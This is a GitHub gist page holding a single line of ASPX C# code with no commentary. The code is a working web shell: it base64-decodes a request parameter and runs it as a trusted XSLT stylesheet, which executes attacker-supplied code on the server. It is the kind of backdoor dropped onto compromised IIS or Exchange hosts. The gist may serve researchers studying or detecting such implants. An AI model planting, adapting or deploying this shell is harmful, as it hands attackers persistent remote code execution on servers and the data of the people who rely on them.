Skip to content

Instantly share code, notes, and snippets.

@JohnHammond
Created August 21, 2021 05:53
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save JohnHammond/cdae03ca5bc2a14a735ad0334dcb93d6 to your computer and use it in GitHub Desktop.
Save JohnHammond/cdae03ca5bc2a14a735ad0334dcb93d6 to your computer and use it in GitHub Desktop.
<%@ Page Language="C#" %><% var c=new System.Xml.XmlDocument();c.LoadXml(@"<root>1</root>");var b=new System.Xml.XmlDocument();b.LoadXml(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request["REDACTED"])));var xct=new System.Xml.Xsl.XslCompiledTransform();xct.Load(b,System.Xml.Xsl.XsltSettings.TrustedXslt,new System.Xml.XmlUrlResolver());xct.Transform(c,null,new System.IO.MemoryStream()); %>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment